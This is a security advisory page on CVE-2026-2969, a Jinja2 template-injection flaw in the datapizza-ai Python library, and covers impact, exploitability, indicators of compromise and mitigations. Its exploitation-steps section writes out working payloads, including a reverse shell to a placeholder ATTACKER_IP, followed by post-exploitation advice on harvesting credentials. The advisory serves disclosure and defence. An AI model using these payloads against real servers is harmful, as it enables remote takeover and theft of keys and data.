CVE-2026-2969: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-2969 is a Server-Side Template Injection (SSTI) vulnerability in datapizza-labs datapizza-ai version 0.0.2 that allows remote attackers with high-privilege access to execute arbitrary commands on the server host. The flaw resides in the ChatPromptTemplate function within datapizza-ai-core/datapizza/modules/prompt/prompt.py, where the Jinja2 Template() class is used unsafely, failing to neutralize special template engine elements in the Prompt parameter. The vulnerability was disclosed on February 23, 2026, with a public PoC published simultaneously; the vendor did not respond to early disclosure attempts. It carries a CVSS v3.1 base score of 7.2 (High) per NVD, though the researcher's advisory rates it 9.1 (Critical) with changed scope (Feedly, PoC Disclosure).

Technical details

The root cause is the use of Jinja2's unsafe Template() class (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine; CWE-791: Incomplete Filtering of Special Elements) directly on attacker-controlled input without sandboxing. In prompt.py, both user_prompt_template and retrieval_prompt_template are passed directly to jinja2.Template() and rendered via .render(), allowing injection of arbitrary Jinja2 expressions such as {{self.__init__.__globals__.__builtins__.__import__('os').popen('id')}} to escape the template context and execute OS commands. Exploitation requires the attacker to control the prompt template strings — a condition met in any application that accepts user-supplied template input — and high-privilege access to the application. A full PoC is publicly available (PoC Disclosure, Hacktive Security Blog).

Impact

Successful exploitation enables complete server takeover: an attacker can execute arbitrary OS commands as the process user, read sensitive files and environment variables (confidentiality), modify or delete application data (integrity), and disrupt service availability. Because AI pipeline servers often have access to model credentials, API keys, and downstream data stores, exploitation could facilitate lateral movement into connected infrastructure. The researcher demonstrated file creation (touch pwned1/pwned2) and arbitrary command execution via reverse shell as concrete impact scenarios (PoC Disclosure, Undercode Testing).

Exploitability

A public PoC exploit is available on GitHub and has been reported as actively used. The CVSS v4.0 exploit maturity is rated PROOF_OF_CONCEPT, and exploitation has been reported by undercodetesting.com, which documented a critical RCE chain combining SSTI with unsafe deserialization. The EPSS score is 0.043% (low probability of broad automated exploitation), and the vulnerability is not currently listed in the CISA KEV catalog. No specific threat actor attribution has been reported (PoC Disclosure, Undercode Testing, Feedly).

Exploitation steps

  1. Identify target: Locate applications using datapizza-ai==0.0.2 that expose the ChatPromptTemplate function with user-controllable user_prompt_template or retrieval_prompt_template parameters.
  2. Craft malicious template payload: Prepare a Jinja2 SSTI payload that traverses Python's object hierarchy to access OS functions, e.g.:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
  1. Inject payload into template parameter: Supply the malicious string as the user_prompt_template or retrieval_prompt_template argument when instantiating ChatPromptTemplate, either directly via API, configuration, or any interface that accepts prompt templates.
  2. Trigger template rendering: Call the .format() method on the ChatPromptTemplate object (e.g., system_prompt.format(user_prompt='...', chunks=[...])), which internally calls jinja2.Template.render() on the attacker-controlled string.
  3. Achieve RCE: The injected expression is evaluated server-side, executing the OS command. Escalate to a reverse shell for persistent access:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')}}
  1. Post-exploitation: Enumerate environment variables for API keys, model credentials, and cloud provider tokens; pivot to connected data stores or AI infrastructure (PoC Disclosure, Hacktive Security Blog).

Indicators of compromise

  • File System: Unexpected files created by the application process (e.g., pwned1, pwned2, or web shells) in the working directory of the datapizza-ai service; new cron jobs or SSH authorized_keys entries added by the service account.
  • Process: Unusual child processes spawned by the Python datapizza-ai process, such as bash, sh, curl, wget, nc, or python3 executing OS commands; reverse shell connections originating from the application process.
  • Network: Outbound connections from the datapizza-ai server to unexpected external IPs on non-standard ports (e.g., 4444, 1337); DNS lookups for attacker-controlled domains initiated by the application process.
  • Logs: Application logs showing Jinja2 template rendering errors or stack traces involving __globals__, __builtins__, or __import__; Python exception logs referencing os.popen or subprocess calls within template evaluation context (PoC Disclosure).

Mitigation and workarounds

No vendor patch is currently available, as the vendor did not respond to the disclosure. Immediate mitigations include: (1) replace jinja2.Template() with jinja2.sandbox.SandboxedEnvironment to restrict template execution context; (2) strictly validate and sanitize all user-supplied prompt template strings, rejecting inputs containing Jinja2 expression delimiters ({{, }}); (3) restrict access to the ChatPromptTemplate function to only trusted, authorized users; (4) consider removing or disabling the Jinja2 template handler if dynamic templating is not required; (5) monitor application logs for SSTI-indicative patterns. Organizations should evaluate migrating to alternative AI frameworks with secure template handling until an official patch is released (PoC Disclosure, Jinja2 Sandbox Docs).

Community reactions

Hacktive Security published a detailed blog post on February 25, 2026, framing the vulnerability in the context of a broader pattern of insecure AI framework design, titling it "datapizza-ai: yet another vulnerable AI framework" (Hacktive Security Blog). Undercode Testing produced a video report highlighting the critical RCE chain combining SSTI with unsafe deserialization, raising awareness of the compounded risk in AI pipeline environments (Undercode Testing). The vulnerability was picked up by multiple vulnerability aggregators (VulDB, Vulners, CIRCL, INCIBE-CERT), reflecting moderate community interest. The vendor's lack of response to the coordinated disclosure was noted critically by the research community.

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management